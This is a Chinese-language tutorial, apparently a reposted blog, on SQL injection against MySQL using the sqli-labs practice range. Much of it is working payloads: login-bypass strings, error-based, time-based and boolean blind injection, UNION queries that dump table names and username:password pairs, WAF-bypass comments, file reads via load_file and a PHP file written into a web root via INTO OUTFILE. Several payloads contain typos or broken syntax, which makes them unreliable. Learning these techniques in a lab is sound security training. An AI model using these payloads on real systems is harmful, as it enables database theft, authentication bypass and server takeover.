SQL注入原理及绕过技术
目錄
sql注入產生的原因
萬能密碼介紹
sql注入驗證
mysql 5.x數據庫介紹
sql數據庫增刪改查
Mysql常用的聚合函數
mysql注釋
SQL注入的分類
報錯注入
盲注注入
user-agent 注入
referer 注入
sql注入方法
利用union查詢
嵌套注入
Mysql讀寫文件
?
?
?
?
?
?
?
?
sql注入產生的原因
程序開發過程中,由于不重視書寫規范,對sql關鍵字未進行過濾,導致客戶端可以通過POST或GET提交sql語句到服務器端正常運行
萬能密碼介紹
兩個萬能密碼
- ' and '1' ='1
- ' or '1' = '1
sql語句: select * from tables where username = ' '? and? password = ' '
這是我們可以使用萬能密碼進行繞過,直接使用用戶名進行登錄。例如將用戶名和萬能密碼拼接到一起,就可以看到以下語句。
select * from tables where username = ' admin ' or '1'='1 '? and? password = ' '
由于 or ‘1' ='1' 永遠正確,所以密碼無論輸入什么都能登錄成功。
sql注入驗證
利用以下三個方法,就可以完檢驗sql是否存在sql注入,如果頁面中mysql報錯,證明該頁面存在sql 注入漏洞 。
- 單引號 '
- and 1 = 1
- and 1 = 2
例如 以靶場sqli-labs為例,在參數后面加入" ' ",頁面上會顯示Mysql報錯信息
mysql 5.x數據庫介紹
在mysql以上的版本中,為了方便管理,默認定義了information_schema數據庫,用來存儲數據庫元信息,其中具有表schema(數據庫名)、tables(表名)、columns(列名或字段名)
在schama表中,? schema_name 字段用來存儲數據庫名
在tables表中, ? ? table_schema和table_name 分別用來存儲數據庫名和表名
在columns表中, tables_schema(數據庫名)、table_name(表名)、column_name(列名或字段名)
根據這個結構,同時也方便了我們注入后利用union 查詢數據庫信息。
sql數據庫增刪改查
- insert ? into ?? table_name(列名1,列名2)? values (值1,值2)
- update 表名字? set? 列名稱 = 新值? where? 列名稱 = 舊值
- delete? from ? 表名? where? 列名稱 = 值
Mysql常用的聚合函數
- user() ? ? ? ?? 查看當前Mysql登錄用戶名
- database() ? ? 查看當前使用Mysql數據庫名
- version() ? ? ?? 查看當前Mysql版本
- limit 關鍵字? limit m n? 從m行開始,向下n個結束
mysql注釋
- #
- --空格
- /**/
- 內聯注釋 /*!SQL語句*/,只有mysql可以識別,常用于繞過WAF
SQL注入的分類
產生原理:如果試圖將一個字符與非字符比較,或者將一個字符串轉化為另一個不兼容的類型,那么sql編輯器會拋出異常。
根據注入位置數據類型籠統將SQL注入分為:數字型和字符型,但也可以細分。下面我就仔細介紹一下。
報錯注入
GET基于報錯的注入
POST基于錯誤的注入
注入字段在post數據中
注入點位置發生了變化,在瀏覽器中無法直接進行修改與查看。可以借助burpsuit完成修改任務。
盲注注入
Blind SQL 是注入攻擊的其中一種,向數據庫發送true 或 false這樣的問題,并根據應用程序返回的信息判斷結果。這樣的攻擊的出現是因為應用程序配置為只顯示常規錯誤,但并沒有解決SQL注入存在的代碼問題。
基于時間(Time)的盲注??
?if(ascii(substr(database(),1,1 ) = 115 , 1 , sleep(3))?
基于布爾(Boolean)的盲注
?ascii(length(database() ) = ? N ? ? ? ? ?
user-agent 注入
注入字段在user-agent數據中
referer 注入
注入字段在referer數據中
cookie注入
注入字段在cookie數據中
sql注入方法
利用union查詢
1.判斷字段數
order by
2.union select 聯合查詢,獲取表名
0‘ union select 1,group_concat(table_name),3? from information_schema.tables? where table_schema = database() --+
3. union select 聯合查詢,獲取列名
0' union select 1, group_concat(column_name),3 from information_schema.columns? where? table_name = 'uisers' --+
4. union select 聯合查詢,獲取字段值
0' union select 1, group_concat(username,0x3a,password),3 from users --+
嵌套注入
嵌套形式上是兩個嵌套的查詢,即select....(select....),里面的那個select被稱為子查詢,他的執行順序也是先執行子查詢,然后在執行外面的select,雙注入主要涉及到的幾個sql函數
rand()隨機函數,返回0~1之間的某個值
floor(a)取整函數,=返回小于等于a,且值最接近a的一個整數
count()聚合函數也稱計數函數,返回查詢對象的總數
group by clause 分組語句,按照查詢結果分組
通過報錯來顯示出具體的信息。
1.查詢數據庫,用戶名,版本信息
0' union select 1,2,3 from (select count(*),concat( (select concat(version(),0x3a,database(),0x3a,user()) limit 0,1),floor(rand(0)*2))x from information_schama.tables group by x)a --+
2.查詢表名
0' union select 1,2,3? from (select count(*),concat((select concat(table_name,0x3a) from information_schema.tables where table_schema =database() limit 0,1),floor(rand(0)*2))x ? from information_schema.tables group by x )a --+
3.查詢用戶信息
0' union select 1,2,3? from (select count(*),concat((select concat(username,0x3a,password) from security.users limit 0,1),floor(rand(0)*2))x ? from information_schema.tables group by x )a --+
Mysql讀寫文件
讀寫前提
- 用戶權限足夠高
- securie_file_priv不為NULL
- set globle general_log =on
讀文件:0' union select 1,load_file("D:\\flag.txt"),3? --+
寫文件:0‘ union select 1, <?php phpinfo; ?>,3 into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\2.php' ? --+
?
?
? ? ? ? ? ? ? ? ? ??
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
總結
以上是生活随笔為你收集整理的SQL注入原理及绕过技术的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: vue3 中使用antd UI组件
- 下一篇: 云服务器deeplearning_云服务